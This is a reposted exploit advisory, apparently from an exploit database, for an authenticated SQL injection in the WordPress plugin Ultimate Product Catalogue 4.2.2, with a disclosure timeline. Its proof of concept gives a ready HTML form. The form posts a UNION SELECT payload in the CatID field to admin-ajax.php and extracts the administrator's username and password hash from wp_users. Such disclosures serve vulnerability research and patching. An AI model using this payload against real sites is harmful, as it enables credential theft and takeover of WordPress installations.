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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Ultimate Product Catalogue 4.2.2 Sql Injection – Plugin WordPress – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/

# Software Link: https://wordpress.org/plugins/ultimate-product-catalogue/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 4.2.2
# Tested on: Ubuntu 16.04

1 - Description:

Type user access: register user.

$_POST[‘CatID’] is not escaped.

http://lenonleite.com.br/en/blog/2017/05/31/english-ultimate-product-catalogue-4-2-2-sql-injection/

2 - Proof of Concept:

1 – Login as regular user (created using wp-login.php?action=register):

2 – Using:

<*form method="post"
action="http://target/wp-admin/admin-ajax.php?action=get_upcp_subcategories">
<*input type="text" name="CatID" value="0 UNION SELECT
user_login,user_pass FROM wp_users WHERE ID=1">
<*input type="submit">

*delete “*” in code*

3 - Timeline:

- 22/05/2017 – Discovered
- 24/05/2017 – Vendor not finded
- **/06/2017 - Corrected

***Rename plugin txt to zip. Problem with gmail block.
-- 
*Atenciosamente*

*Lenon Leite*